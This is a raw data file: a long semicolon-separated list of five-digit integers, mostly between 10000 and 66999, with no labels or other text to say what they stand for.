22665;39078;53122;40648;61259;45830;46425;13972;14087;53343;32446;63460;20581;16325;22486;15327;39970;39896;20798;17832;20046;63597;18835;12856;45732;50858;25770;30591;52188;46347;17118;51212;55441;33611;41721;26062;59168;54090;10894;10130;44426;16571;32832;12313;38386;22683;46698;62189;51704;55011;10886;28003;23677;56490;34398;33044;31948;10601;23527;62687;61858;47427;34970;13734;61420;33255;60853;43921;30672;46019;43655;64564;24711;34544;23236;49931;58987;57531;25318;28488;58610;15525;64517;56077;56182;10248;54509;48321;39588;51692;54801;45366;41940;17450;56231;51675;33588;29673;40006;52779;51400;35808;66370;33099;15283;21984;30914;59091;18558;26511;37365;21507;32023;63030;51515;40329;13914;62340;13580;44809;59184;29648;25668;31655;41054;56730;37150;59142;56736;11256;33644;54864;60621;47257;36603;15398;48477;50059;50644;16662;40882;15791;37082;42869;61414;19501;61470;40652;51213;52062;30702;38857;28940;62991;21134;24481;37623;11244;41072;23115;11992;43388;31642;27823;37421;46178;12419;44375;34329;18351;46130;35469;59545;15995;36367;55900;64442;39467;36461;61884;33388;16362;53077;43731;15395;49966;15367;35663;13594;18432;56128;41862;44237;61314;48486;64358;36573;14964;41636;33977;18267;44786;21785;19058;47173;57739;29471;16204;32728;39361;65167;35374;42777;65141;27527;65016;10684;12800;46956;47748;21943;15914;11813;16606;44241;22140;61836;35525;35992;20097;34106;57811;21092;47607;15425;11153;55814;28676;14051;10581;42241;20477;42711;58175;56244;21775;49752;59419;48751;15413;29378;18135;38996;62313;58269;26360;10702;11688;44219;20936;43656;54491;60111;56157;54293;15538;19405;38238;19897;47001;20247;21423;60154;36161;55521;14468;51690;21286;57509;30553;56245;39227;43293;26005;59598;43070;47046;17421;11873;32877;49691;44971;55983;59968;15094;29051;21660;63709;12112;30325;56989;47259;50559;51584;20389;66529;61437;12668;40728;53327;41441;31010;54484;44791;58613;25937;14824;61902;40278;37019;32251;55220;26475;19970;18029;46596;47113;47419;59623;28666;39371;65450;21351;34510;38652;23717;41902;46898;51060;29342;38895;50630;33052;42135;13582;63903;24268;15461;46395;50289;42193;40833;55316;44192;57905;48215;66030;55255;48936;28754;12437;62451;22189;35495;55993;52611;37953;15245;41275;59098;27761;14875;24269;42534;61545;56330;51908;66468;41359;61771;28688;62079;47162;32417;60262;24865;56053;31409;57313;51187;35565;53045;66168;54234;53311;56794;56277;38619;37384;50514;47422;50612;31369;45828;56276;54328;66416;37116;18864;36443;18391;13292;48966;46439;19175;57761;23663;49723;23947;47320;43470;54256;51644;59067;21599;16666;40153;64339;55592;63251;33911;18485;65165;65805;15489;29165;39985;31090;12612;26529;41894;28675;45798;22079;34842;65623;57045;46711;27724;55307;53721;54616;31374;35234;45978;28643;65955;62867;61485;50163;38783;54727;23552;23423;55009;31956;66180;58872;17828;61114;53117;57408;64315;60669;40787;47654;44699;14899;58229;41482;65653;26254;16627;40962;14948;38420;10677;53540;41826;27896;11280;42573;34295;23197;15834;34303;49401;49007;49682;44039;58118;56942;31125;34847;62749;19638;43704;24803;64160;21843;25417;57997;26922;45824;22948;47589;61309;51715;47134;13530;55410;23832;54507;27557;16088;13709;53314;10893;30313;47150;20329;47585;41764;60401;52956;38384;50030;57508;17539;41465;61920;34607;11748;60838;16257;29690;36586;43445;52238;20978;43035;66595;44619;29564;62894;20194;37157;62589;38963;41975;58339;11994;19223;35315;43297;16165;13793;40536;14004;50026;20988;23084;41425;42276;42926;33844;31309;35078;35007;20608;14632;19187;59774;16601;28850;15089;55347;19529;35102;63227;46748;46527;62310;42825;57738;26329;62302;22400;29019;14692;34356;58213;44770;35051;17433;23551;11923;31441;66484;46146;36136;61506;12669;26912;14361;51685;18032;46118;12412;14290;66855;13655;16049;37350;30519;46833;27932;11434;41984;60198;27000;43256;55540;34503;50472;21592;16841;33134;46182;16977;21756;30976;51392;16321;52105;19368;64837;24145;49649;26574;34599;65924;48987;66788;17262;29400;46394;38678;37725;64921;52998;44581;29845;44067;36409;17304;18489;46613;11076;11285;15371;25719;14886;14753;34805;27692;35857;46603;35729;50819;58097;41212;38088;31667;28605;52644;59738;18615;12285;19374;49978;21499;28579;65256;40095;65833;19383;34457;61284;51872;11178;20058;55668;12056;51734;66469;18774;15415;59860;51722;56715;11374;43832;48293;60316;66773;33379;43938;15992;63567;10449;53661;27503;63322;60528;49558;22108;15681;28428;65432;36602;17500;55533;32270;53073;40858;49963;60103;47306;37629;52502;33894;32565;16755;46871;57587;13507;33415;38240;46732;27740;16142;56291;38905;18859;53364;50633;28189;53010;23896;56770;30000;65832;14113;42181;10034;37218;53532;44368;12606;37862;37866;32540;50888;59712;58657;44345;18126;28270;65949;26130;41204;51090;19576;37876;15173;39960;22360;41626;54149;58481;39857;26369;36914;49722;42313;53867;18960;53018;45989;52810;61612;46239;39149;53467;63754;22658;49953;27519;40806;15737;57910;61915;46788;24441;27246;34827;50025;42961;45959;43364;38037;17483;22944;23636;29177;27681;46397;63511;63609;58475;20820;47692;33920;40558;29030;26509;14826;45325;24584;64757;52660;14298;19443;15532;64676;52312;36897;29077;57082;11704;22654;11600;10856;15503;24771;15813;25061;14255;66186;60831;41851;37761;66631;48912;48402;31066;28633;49627;28088;65443;18673;17217;45301;34866;56717;33538;39054;21064;23875;53222;48166;39677;39982;46621;51833;15300;49419;14859;45095;41085;32189;48162;12224;62114;47702;13141;61244;25758;47764;17538;44277;19044;24681;16059;34700;53962;42837;45575;58150;52701;15473;43270;11013;33110;40363;24088;32293;14803;35662;43308;28804;66127;18008;66499;55929;18352;37354;14633;57630;15682;49551;49064;16265;40201;59675;30957;24151;12546;57320;42933;22241;40229;45697;44861;15909;62410;49059;44173;14461;27617;22462;46918;38127;21074;16932;31621;40507;21473;11745;40324;26755;11850;31795;57385;49696;57886;59083;61080;61105;21004;18519;66107;64121;17369;21669;56651;43426;37165;27425;46743;17052;15345;31877;49295;11868;17551;55732;61955;19258;34803;61225;31187;66511;25824;52646;13157;49178;16361;16764;31421;46675;21010;17078;26311;39625;40948;17055;18219;46746;17624;48994;66604;62992;66229;58405;31864;13720;24210;24380;34642;15861;64631;51701;40666;27228;39702;40563;56200;25217;47022;30102;43275;19237;63151;37425;20157;43112;48200;64284;42687;24887;46744;15436;28788;52185;31709;61274;21585;17082;63487;49791;28146;17660;66026;56729;48877;35112;10314;10418;41517;57643;61028;19944;47116;39750;31099;52385;65176;62765;56663;22483;36141;27890;12685;35392;30044;41136;63337;66725;30581;60078;19215;59584;65675;33690;14317;25270;27629;20069;24382;41302;40015;20892;49550;64454;53278;25447;37618;29590;57974;11545;38248;35963;25084;11735;18501;52399;14088;41386;15037;45936;44121;23413;62466;57680;59613;20353;39063;31092;49887;62955;27634;40415;46962;35924;37826;25435;32004;25606;24205;39756;63261;18817;55686;41406;50133;37770;50071;29748;34015;13698;13864;46587;25031;31896;51883;45995;63759;15773;61477;59085;44389;58406;15996;61815;29299;37529;56510;19651;64049;17735;37323;14984;62698;19596;11298;62735;46580;44032;29441;61570;50262;32457;48624;13029;27537;39851;40401;22800;31855;38391;13784;53407;13691;43391;56918;20093;49351;23711;14384;49527;10735;35646;26979;37356;64513;62989;45219;37409;17801;45645;31448;12873;59149;19587;17708;54588;14761;56205;43845;54791;62812;57816;46405;17430;46466;16639;33495;29498;24395;13438;47205;25737;33907;23447;41767;15431;59684;35287;61405;38985;14832;32843;49171;14977;13276;14350;61407;18056;59488;18153;53014;16238;65337;41104;33648;60277;50065;30988;21907;33086;60191;44038;46990;29115;23892;10164;28210;11736;33811;46964;64182;32686;29607;59050;28143;55926;32664;33845;59221;47509;35726;66722;13895;20612;10452;40467;37161;26539;54028;18884;60950;48267;56886;18990;66442;21245;27384;45526;32969;27627;38618;38538;58401;26531;51736;42505;36119;42656;38016;13136;17476;17482;37215;56573;14719;29463;15468;55941;15763;47047;54758;57633;17199;30188;40072;48443;37751;11475;21967;21675;26064;32173;23497;58915;65342;29038;42855;25721;34382;32753;35300;60755;53901;37674;45202;33011;33857;30992;22767;42562;56676;31272;27858;30124;42839;17310;26737;16425;25370;53693;13612;31495;35230;40195;50316;45017;42174;29314;58663;40693;24397;33895;15218;41361;21710;47618;32277;30240;60898;56282;34230;35421;12787;23993;20419;24581;59543;11540;32711;49830;49327;10158;42382;57809;61229;17400;26355;38354;18544;40903;43660;23454;59189;39665;19815;16456;31459;50567;56338;56310;23141;50525;53849;13014;27440;27790;42273;19913;11635;45950;45955;16587;35666;51442;65212;44544;39916;56936;41262;57167;60197;37765;13540;15388;25797;33668;47164;26933;24604;53001;58701;54070;23871;35861;65868;51061;20168;53742;28784;57691;29083;42013;64557;34987;20178;53049;46015;41423;45381;36348;56689;50757;15761;63197;13455;21871;34822;62211;40027;37734;61896;23036;11672;18542;18878;47777;33414;38343;30052;27371;55749;38487;22727;54056;56836;62891;11732;59196;34768;13618;48313;60624;59600;21451;65446;14554;45071;17490;61113;65733;54517;34968;16585;65861;47310;30860;59823;30946;20014;60930;48502;37607;62201;50203;21839;37711;30358;26101;32260;34864;19517;51668;66201;63601;36866;42460;56927;27204;11817;52347;38322;66291;22617;29600;62387;20262;32250;12551;32246;25982;50731;42042;37841;13245;14078;44911;41265;32484;62427;41678;44117;16245;63287;57491;14659;54873;42412;23187;28990;63845;46099;18654;47586;35838;49069;28159;41701;50852;40940;25043;58920;52967;27986;53844;12428;10374;60240;45438;49222;26552;42973;41078;30526;11818;66011;18395;30264;16817;13315;44489;65335;34212;46688;10836;27005;54158;55150;56775;25917;13298;19968;52846;16045;49441;31087;61811;35326;64466;52752;64718;50558;55031;57548;33960;36493;46129;26277;42586;51261;51556;13241;26249;54140;35996;31701;59740;56817;28529;32666;22420;62480;20667;60531;20703;44015;27322;25981;14250;62290;16185;34741;29364;19994;12122;26199;22555;20472;66932;57193;55371;28519;56735;64234;29963;24206;25165;24842;38260;25659;62856;12618;60689;65476;27739;58785;45070;38722;47767;34048;57025;31408;48635;13826;47175;32819;14252;13321;25600;35280;33093;60050;42559;44914;12298;42745;54994;39102;21425;40718;48648;63037;60547;49949;60781;66254;27784;54187;50556;18894;13920;11655;62786;22931;21689;64245;58799;51529;65913;66005;65306;13281;54355;50309;52720;12919;13995;26787;35186;58230;30954;21221;43031;45876;45867;10921;26112;24704;66861;64080;33630;57800;66175;19561;25776;19274;10756;33793;29252;18488;35667;25093;37147;48897;34346;36432;44410;48429;58232;10317;52450;56486;57646;64938;56099;50282;63873;63276;65482;29663;42620;54664;51731;64332;37813;36939;18946;52910;15142;28803;27308;27505;62303;38958;40680;26538;37113;40477;25424;58996;25621;52070;42443;24856;52927;54674;51490;53325;33269;61021;33517;49750;23726;44108;56833;16179;63734;40347;53919;65315;62599;33592;11656;15351;65356;16939;52696;48264;62001;22590;20246;17474;29870;58600;16972;47366;27188;19136;35437;42105;44148;34365;30720;41137;66808;25191;13791;51508;42043;28481;46181;23291;31523;29231;11792;51292;50811;55349;29738;21481;12987;16344;11305;52601;43428;20271;17276;33523;51426;13616;11891;35092;37060;18286;59486;44231;27844;14530;19049;11777;28599;64353;51941;62271;21463;52539;39340;35884;50146;58534;18154;35544;54410;15481;54124;28691;21300;42049;23120;34616;11246;39206;43850;28899;64081;25509;22984;61497;35512;15359;53385;62715;26093;56596;60587;44593;64381;16472;29954;42484;46992;39589;30577;51241;40626;12681;10668;45920;39567;47194;17169;11717;10262;36580;31839;44961;21602;55461;37966;56821;37766;59220;43718;17979;65097;28291;64411;22936;35967;62311;23003;55750;65998;59980;66818;64916;46955;29761;41009;39842;18632;65606;42434;32754;63981;30157;46363;40640;51298;63631;66571;21796;24714;57333;47790;50804;54004;24599;12721;43121;40024;17208;31433;55671;14639;12456;66534;64132;20699;26923;29824;39073;19881;49552;29717;57930;57383;40267;16596;16108;35147;10151;58963;63202;41154;10193;34035;44834;54810;16833;24253;56149;31407;35088;10375;38543;12709;36987;22877;61106;26349;36087;36664;48943;53284;55986;14900;41641;44104;42517;48591;19673;51711;45392;58371;47341;28620;33306;65388;11147;55486;51583;11234;42958;59942;63901;29619;18123;16235;25214;39165;56090;58314;54470;33908;49840;48540;21553;56196;59753;63968;63248;62665;32019;66803;42606;35063;19508;62517;36916;55938;33007;32895;65463;19912;44279;49424;43526;53155;42688;64539;40173;18662;29440;64057;40628;20532;10820;35386;19603;22538;28524;56268;27413;41267;27745;55962;63851;29993;16583;35438;23611;35080;31442;55083;25054;56110;55985;11833;33638;30098;45410;44229;51062;28943;29695;19816;45093;19719;17176;25391;12322;29507;24529;64792;21548;17432;17517;59199;43015;53131;31201;61835;57501;40246;47579;43274;36726;24634;12592;37741;22275;19578;38607;22886;44138;65507;55569;17812;21535;16340;44999;45974;32017;35987;44303;32882;66343;37955;52474;25873;49172;45886;30514;64974;29750;60311;27780;39675;31274;63293;62781;60667;26941;55049;51504;43174;42489;18524;26990;55182;38887;14754;36416;31136;35295;21424;54492;30840;18743;34095;43615;57081;30144;48729;48393;35673;62072;24750;16446;40166;66531;49192;31749;39312;24267;45122;32902;63613;26283;61708;33315;35794;40099;10586;19084;12879;40769;45142;12817;30938;47429;14042;61356;14126;64488;32303;16014;55558;56841;27366;43384;36050;58050;45113;24972;40845;57975;39805;45534;21735;14621;41643;46008;48310;50684;41546;46862;32602;58782;48239;32097;26326;61289;50785;42603;66765;19040;42047;48214;45333;36800;23268;44664;36076;26822;35643;10006;29078;23416;16217;64348;41042;59438;29585;47271;10808;22897;30624;19521;16044;60483;43937;15809;40542;32411;35014;24173;14558;58005;51391;63170;62331;31217;50210;24815;11633;32922;10818;24042;19754;41312;29390;34333;13466;11295;34860;11060;32996;27040;59158;60679;59807;33994;60376;50642;24496;23131;44526;49795;12216;64671;39009;65723;41896;48262;44884;58195;33005;48974;23226;50992;42816;61964;34764;24353;54077;59657;38207;35886;32583;26775;18959;61336;21275;26292;34862;65179;48741;28310;59326;33725;53664;30816;30380;20212;65821;31872;17622;60218;17197;63580;49410;41437;56745;47014;35657;59421;66906;46064;15623;63572;40720;16276;30850;24743;52384;21135;45295;63417;37887;58463;62235;25083;24326;21241;21578;18900;44641;33040;61442;16335;62921;46786;11029;32584;46287;28847;59322;66679;18230;36354;31688;48856;49802;58508;10618;10899;34021;39171;65236;64101;44155;21768;46835;61543;49836;54133;56474;55794;18103;38943;25408;32724;48617;27417;31759;58560;11670;62010;45238;59195;39757;57270;22236;40450;52273;22265;23170;31992;22719;20169;33773;19640;28687;18937;48208;13217;55984;51194;35629;44927;31942;42708;62661;24863;52621;43187;30867;35758;21021;23440;49699;25684;10054;46121;32167;62267;30818;58313;52307;36994;60687;42433;58359;15043;49217;17464;43393;13156;27969;11597;54601;54676;40062;24933;65487;16052;38686;47256;17266;32878;66762;51669;46125;29366;54199;39488;23703;66224;16921;40398;41873;11881;38634;57700;23936;54084;43305;29578;30061;25373;44036;66682;25761;32466;47889;11080;14690;20336;38601;34902;13228;10116;20139;61533;36067;58646;57935;15440;15165;29263;28009;10592;10416;38283;52162;54685;34515;45027;45711;40020;55988;27651;16854;30619;22000;25242;35214;40644;51873;26129;23490;37763;65012;27377;35509;20460;36899;25176;31753;58837;23748;45358;26067;22066;23507;36743;17398;11363;28728;35490;50932;51415;52564;48983;57296;32796;18967;64277;55812;45196;62067;42651;43782;58014;22441;21808;11665;25625;64649;22985;32427;38419;14736;10861;21840;11401;12884;38080;30718;42731;38685;40441;58502;11566;26209;25119;26819;31663;62171;18824;65762;55226;36191;40383;63862;28436;19888;51327;32127;36025;33917;15452;63823;11876;28362;41644;13506;48798;38035;66121;21836;64405;32232;64117;40104;13942;26910;23916;32929;28607;41583;53147;53612;22478;47533;28513;37520;21531;22958;10061;14995;53451;57489;34102;45901;58297;32828;36165;25461;49882;58007;15542;57100;45340;40184;42934;18373;63390;46767;37240;65219;45701;63706;23737;66354;16151;32771;32084;54085;40880;51059;24756;25585;43606;12992;20571;56381;13147;26913;21673;36708;34036;13080;40650;55610;51066;26500;35427;37958;14908;33292;50397;65524;61769;36889;23066;42521;60944;44859;23773;21172;60787;30083;24515;46337;19145;12719;55551;63052;59914;26163;53530;42119;31275;59700;32227;62472;59150;65942;63010;45997;62336;17764;61117;47736;33437;29397;39547;10867;57936;25718;57238;61935;31808;25120;40995;55388;57956;52455;10991;48525;40740;39978;53462;10239;40473;39267;21521;33125;25444;44990;66497;41362;10519;61573;21272;39042;27552;31483;46661;52990;13631;23680;10038;41628;14563;25881;47311;23282;32493;53659;11834;61752;61541;29148;66941;45873;11995;59496;61377;57028;25799;58281;66628;25591;34011;37527;48343;27404;63890;13977;53688;11238;36104;12128;23719;35919;66540;22737;66098;37154;26627;21400;44713;33270;56776;50288;55772;66876;18291;26455;45610;28957;18665;36911;30922;43455;64728;58994;23437;50667;33632;28686;54842;39459;26995;62228;52722;43487;28740;15975;63626;37030;39088;52756;11706;52938;55119;32881;25866;44805;37630;13411;31967;58392;56234;11313;10046;12304;58364;34628;42359;44877;25512;40106;22939;57121;22334;50033;14708;20696;61665;20905;26290;62723;41248;34198;24931;36931;50711;32437;49256;58700;66342;58386;37227;43113;49656;21560;45117;25521;22773;47138;11050;54382;63472;11426;28239;41650;38154;13987;17748;50991;54553;32848;21532;23274;59331;56648;61269;59590;13159;13250;58385;22827;40271;22357;13731;51264;18602;60267;10279;50254;47804;65970;54396;22206;29185;11452;53048;22163;12077;14260;26917;18582;12729;17570;43554;39807;43590;29890;13125;12315;24105;31016;10540;53326;34370;65729;62725;21252;37039;60505;59053;60339;23094;36016;36533;40956;23794;55231;47565;17477;44730;51846;31021;21139;23600;39480;34986;58902;45566;20744;45887;23763;27062;55194;17008;16713;58369;61215;34939;65585;35360;28592;19330;31736;49880;58124;66489;18202;41620;38537;59802;22531;50045;45668;51230;29790;10267;31599;54858;14056;43717;65230;57282;17302;10975;11301;49428;39840;62008;27265;55204;24826;44665;11409;58287;24289;37265;34931;42413;52727;60885;52187;36492;42272;23185;35843;10472;37985;12917;45782;54555;39341;48411;14357;26407;38658;23982;38719;35236;20682;61621;15539;30119;23347;53137;59180;22094;14876;54022;54539;16518;10067;64359;27271;49749;30544;47583;19810;44330;48970;43055;32039;21386;52821;62073;58338;29270;61345;31298;29131;46687;54453;57321;54294;14289;65834;33121;60634;32213;30861;16493;16466;41168;25590;26876;36729;30741;32202;56958;23011;45714;63837;39220;57836;12113;41935;31315;61590;29848;24215;62959;41967;62180;12215;10799;19159;36785;30129;33972;19974;63789;44710;55239;54219;39530;60043;13264;21500;25944;63569;64230;44030;43859;25179;37261;42262;25653;55420;61168;37192;26799;60455;47519;60897;63699;13410;63497;29721;20957;63756;44763;65006;22305;63751;32430;23602;13062;65292;23050;49450;34125;54302;43409;13573;27141;57524;30708;55529;43895;38965;32714;44840;45815;13389;45377;57869;14973;27946;49645;36381;18307;56953;56580;15407;19844;61853;22317;23665;36682;30149;42823;17526;37697;10162;53219;13342;21645;46450;21687;20249;63893;56266;51249;12108;58044;38174;52837;40417;53484;29526;35362;53995;24500;49505;53710;30270;52858;21952;32311;57866;43306;58379;47814;43401;41991;62326;49571;33246;35347;59691;64052;39898;53275;44856;34059;39583;42452;51358;50639;11115;21662;59579;12996;49241;23712;35865;44196;13673;24600;29382;41879;29771;51590;20648;27445;58910;37945;56797;54024;63456;22386;60722;29433;23706;19505;36543;22180;39714;31270;32442;47044;48294;25162;14321;25660;16030;15140;59341;35559;65135;23686;13362;41741;25993;23212;27399;26245;22355;46482;40056;65416;37846;13950;66286;21285;34352;41220;22133;30060;60144;30683;50687;14043;25459;38450;62386;31285;26220;62160;37078;37254;55262;16001;65890;19133;64639;20360;37873;49046;64555;35109;20733;61153;36792;60427;52113;60674;27764;48390;28154;51130;55425;31127;29286;30779;42425;16699;34678;15683;54861;24487;42669;51703;65106;15632;62677;35974;39651;29401;45297;43192;54761;42619;34242;43254;24444;30178;34925;14562;48184;17081;45773;66325;11436;47663;38993;50223;27955;62409;66634;33212;30085;51747;39303;21919;16641;31014;11553;65346;14034;14771;66578;52666;50016;53539;46653;66708;30687;44359;42737;22297;49237;27037;55003;65783;26395;20567;27571;17237;34634;10649;47201;52952;64714;38683;59230;28187;26584;65704;52233;21267;38644;29728;42658;28251;59924;64636;38827;49867;25463;20061;41573;63082;33729;22138;48175;28256;62169;18795;19377;64463;32951;26970;59226;61945;59409;50967;59935;43382;51559;13647;45893;35700;19947;54655;63599;39170;28215;28265;23899;24846;64565;55553;59852;45084;49837;29036;38649;59899;62468;38824;39511;19929;56055;22702;38892;32304;28709;39813;24330;38796;52565;66192;11294;43738;28837;17509;54832;23177;41943;17592;32481;25064;33455;34305;59895;10900;56633;20196;64220;39872;37540;30479;64621;12026;16146;55097;53729;38614;34061;58825;11390;14019;37367;63409;12691;66231;11195;56824;16570;59121;52202;34248;10680;60249;37137;37564;57955;28925;42754;40282;55181;64295;10285;29133;63130;34951;54229;31331;61275;17456;58695;28367;16738;46771;37920;25610;47233;55505;49890;33682;54214;55694;65577;36545;24948;36044;58675;35755;34456;22119;34713;58049;47181;35571;42358;25870;31573;42866;14038;47524;35064;26305;13261;18258;63179;62307;59776;40009;43098;17602;24171;66430;32195;48275;36436;17194;29346;44937;65790;25071;30918;56396;60312;12497;13749;35834;35746;57625;24157;36120;35294;49776;41642;35084;66084;65732;55777;35493;34428;44844;48876;31912;21868;59210;22805;40400;59481;14470;17620;30686;49234;59309;24816;33069;35219;45442;64983;54384;28341;62899;59145;56864;31687;60672;33318;32331;50198;63858;33723;35664;16988;16926;32736;27467;17328;62706;50375;61978;31418;64063;22324;42625;47903;47569;61755;31430;32357;24126;33766;56919;30864;53604;60894;34780;21947;25457;14501;31118;29459;31764;30093;59529;21253;52182;41412;47511;37208;27016;52524;50628;23983;53874;17344;65611;60127;17362;49446;62592;35130;29320;56141;53624;39808;55729;29770;15213;39638;58394;48463;44390;30445;58923;61925;44885;36559;48724;27396;15717;56251;46079;56865;60913;42036;15766;21146;24982;52594;33804;25192;41315;39416;15998;62982;53493;41356;65717;20121;59061;13816;15150;14684;22057;22033;23557;52365;27731;31132;18490;41276;56333;35874;20243;23563;35190;62009;64827;42021;45825;34993;57985;11101;27108;42159;59611;20018;47518;14746;37710;44409;25117;42302;49832;43024;59273;59484;42583;44143;47237;33381;61786;33302;20281;41287;48536;20203;11464;39261;14476;50067;32551;49091;34740;14701;33397;40143;16913;42748;51154;27791;28253;52431;20266;43607;34845;39587;35303;43593;12938;20270;39364;37749;66078;39855;45501;24000;40126;38358;40646;48196;19721;40479;40861;65144;18084;56560;50834;65433;14836;42697;38032;38673;47236;65321;19919;14083;33017;59348;51376;35926;53840;43527;54388;23146;64606;41627;34812;16326;51768;33625;33825;47445;62448;13798;42345;20086;62167;36327;61943;49103;62123;13807;46381;42108;39256;53854;25023;52256;66066;55550;40408;18987;56131;24213;18227;42008;21306;41426;57467;28572;45546;37575;33217;13387;16027;39045;66276;51308;31594;41269;29899;56075;61354;15648;20134;56261;31425;43626;55155;11874;20309;10137;10357;59595;62314;13962;22311;34824;61362;50673;20755;46198;11389;43153;50467;49363;24220;45331;31549;26365;57520;22322;19063;40982;47038;20841;20469;60790;50330;51393;51999;18127;31147;23159;51566;40310;39532;34579;38717;13578;61917;43918;12311;13388;36052;15944;14296;23112;39817;35516;18417;64644;11010;55298;53891;15023;17491;46213;64961;24401;11700;29279;50290;45204;56627;61472;29917;57801;29437;33915;33089;18796;24936;10364;38517;22092;46410;41570;43348;37859;63490;31581;33867;27608;45916;19656;31171;53249;42132;16934;37187;38244;42663;12898;57580;38847;60620;63187;49356;46302;36447;58395;52848;45449;17192;54520;32137;60988;33183;60428;35846;42336;26997;25735;58168;12752;35546;63519;48185;13919;65489;19990;41526;66461;48144;18600;45545;18834;26275;34718;19983;11356;35117;58884;26494;16769;14721;35833;30809;43497;26605;49824;34097;25788;12866;48487;46014;46320;45550;59021;31048;59294;51502;24968;13929;60810;29877;46131;31046;62117;26772;57203;12470;43014;27254;15316;55216;42212;12976;65276;23152;44011;49957;56340;17018;56376;37264;32512;14116;13187;56603;21639;32428;32028;18522;23666;49976;40609;57302;43729;60431;62828;18973;23539;10634;20950;30474;36788;39334;57015;39689;42699;57483;35986;63325;16940;42529;57410;60813;37178;11501;65380;66140;42041;54403;16618;18097;63660;49896;26573;28472;25889;56411;14378;51994;56553;33066;47628;15627;49173;63334;32142;58015;26649;48271;10708;61956;17974;40784;59509;33662;51948;58378;64423;40125;23795;12379;62905;33791;21801;50456;19855;41112;24981;11445;13166;29090;49074;66555;48362;11214;62831;65352;61129;52220;42945;56752;65692;31451;56389;64324;44318;18999;43413;46954;24820;11886;49281;41883;15847;47809;44963;40384;27886;43912;33457;27455;45666;28274;40525;44379;39736;26611;42898;66428;43955;19257;53053;50952;19045;17299;31400;50341;62560;14943;26109;63165;34332;34291;38864;13325;48646;62373;30931;50047;54270;25175;34725;42827;10247;48879;33131;63772;45002;45489;44499;23725;12484;21719;40836;21665;28036;38411;61969;54488;25872;46445;21514;18124;18243;14763;61729;14144;47245;29659;65263;13318;52296;20787;54360;49197;45842;17184;59934;33661;60363;46334;47751;51503;36599;47485;16762;14760;30187;33182;61479;48194;51697;42946;40231;44774;60146;61391;44406;34141;51543;62018;58402;63235;36528;43459;41178;51015;10522;29720;25283;53523;66644;25863;20676;47352;53205;49594;19762;20773;56017;59813;29281;15667;42715;42083;65964;23387;38539;33513;24835;30163;32799;59351;35653;55240;31401;40481;65528;42720;34553;52744;44433;42950;36314;33147;65940;17677;37439;16160;27895;52136;43056;58190;34774;54061;42895;41852;35330;18637;46915;10903;27555;28761;19334;53050;32706;39793;12447;24239;60004;11104;13146;45836;57970;20783;35748;65379;35811;48750;38408;51764;30477;40395;21780;48187;11046;58117;49959;45861;39435;48800;20792;38495;65182;51896;33080;19236;40900;53074;28694;47763;39299;54450;34679;20132;56545;22779;56808;43727;14980;64210;19014;53593;28823;66794;17693;64489;16288;55145;59789;63242;57712;27940;64902;15476;37568;31492;28591;32061;34020;23286;63839;51138;42696;26010;50863;13688;28678;14482;28616;13145;21683;31019;28827;35011;49274;57064;59982;20174;54949;49596;65511;15478;44388;35708;10604;45090;22411;19823;20720;28068;57608;20019;49788;63507;49512;54394;12940;42228;53967;58455;65038;45508;15324;32880;59030;48292;22141;34478;61857;55620;23083;52305;43676;60932;11451;45083;21713;37101;23007;36732;37237;14923;43968;49852;49925;66885;14404;11546;48890;33240;32598;34820;60596;20099;52371;21923;35642;61360;40458;63959;21670;13986;33106;66496;33591;51977;56456;52607;50790;10971;57849;48576;37977;23355;49564;64311;63193;18244;34225;17353;37173;57570;29755;33710;44445;54047;61093;56902;63863;54183;45467;22913;35442;51563;52110;15913;15003;19627;38313;60147;65631;22272;25947;14131;53733;18448;33422;39742;44850;47219;28306;33636;44226;50618;41694;50914;40265;29376;20083;44257;42690;17728;11530;59647;27577;21212;60665;33286;34889;14058;19830;47640;52183;24594;62265;34130;20195;22656;55134;30215;48596;21210;49591;54299;13351;61381;35823;40881;57803;32566;57032;37882;13423;62615;41558;44748;13472;29743;42001;44790;34884;25558;43826;36915;63391;20592;40661;55798;10341;51950;40487;55802;33949;37537;26823;14785;62614;42553;24394;49365;24524;21728;56209;65228;40664;63200;46078;36711;15757;24383;50722;32923;49389;27484;48552;36100;43724;64945;24891;55593;52438;14503;18548;59367;16564;17125;66387;23708;11468;51987;13609;53899;19444;46959;61722;61761;49516;27066;11094;53662;29783;33012;21505;52011;59114;56686;11497;10485;55741;19539;24293;11192;49667;16479;51143;57044;38399;54900;63852;53868;10082;64595;49373;65074;56288;26859;29411;43582;64878;64988;21215;49599;17289;12978;51142;24049;32612;45639;36658;54206;53449;23249;46045;51102;50574;65323;31204;34618;51196;15709;37102;34480;10719;12523;23277;54196;30469;61447;24890;18119;44969;20112;30170;49336;25626;25571;15370;40777;35426;66865;23068;20741;21049;30077;24226;48709;21547;10379;34778;11057;54482;14162;21312;45412;24550;61116;18171;40196;54734;61997;12465;36577;30904;63158;63554;24520;42580;14903;12463;20405;12696;54098;30116;33327;50765;61350;57279;62017;33020;62070;43120;46794;21471;40868;13940;51845;20525;31112;64524;49567;54150;43146;48243;55725;50695;35174;62869;23861;50691;26660;49989;23598;20688;10408;24276;51268;64005;26844;37129;31777;42885;24526;62037;35243;46595;64898;29683;50520;15923;42003;49148;61951;18384;54725;24998;56217;41292;51695;31472;63238;60135;35191;34300;17099;57965;56653;53930;39005;31008;15530;28615;35129;39424;24025;50591;52368;32276;21027;19052;66420;17239;51315;10839;20986;35649;13133;38230;17271;25593;44767;59476;58589;13787;35053;40490;15151;26191;24877;22834;42649;29485;35670;21417;27470;39830;15736;27937;23315;28882;62249;60220;45616;65701;44222;44897;25244;50679;45345;45848;19055;33287;35845;58121;38235;27806;48833;43836;38973;19210;41590;22724;58438;55398;61179;51099;40859;49138;61639;31349;54427;66417;35475;45844;64470;50356;26930;19335;51541;41576;14246;13465;26216;62411;64780;13923;52326;35439;31517;25774;32904;59851;18360;53208;16210;59468;57023;62471;62846;56835;20915;13494;19869;31172;42122;60165;49811;41536;26838;19722;41117;26556;55956;50706;59676;55174;62980;57107;44944;38267;16241;61288;33843;48764;47621;45818;58305;35738;63722;38530;34932;27449;58871;32916;29780;47898;44119;47295;63364;32701;35589;14134;60718;22587;45243;16209;44050;23429;47202;61430;60472;64929;38913;12198;25535;37941;16347;63717;21736;26653;35144;47263;26967;49433;57149;36989;47318;27668;61619;19480;51907;51374;58984;15608;63073;60448;62958;53594;18889;12421;61714;20104;10458;59439;16327;42307;51682;43998;50669;56781;55519;57473;21342;56466;51361;45884;20967;63384;42741;20017;13945;21013;16948;64658;14707;20320;47148;44130;38701;66584;14313;63882;31276;45979;40870;25505;52925;20455;62041;56410;11954;36181;27339;43196;61263;11838;45735;59454;15810;59206;66397;45860;34189;55197;19778;56353;43085;15373;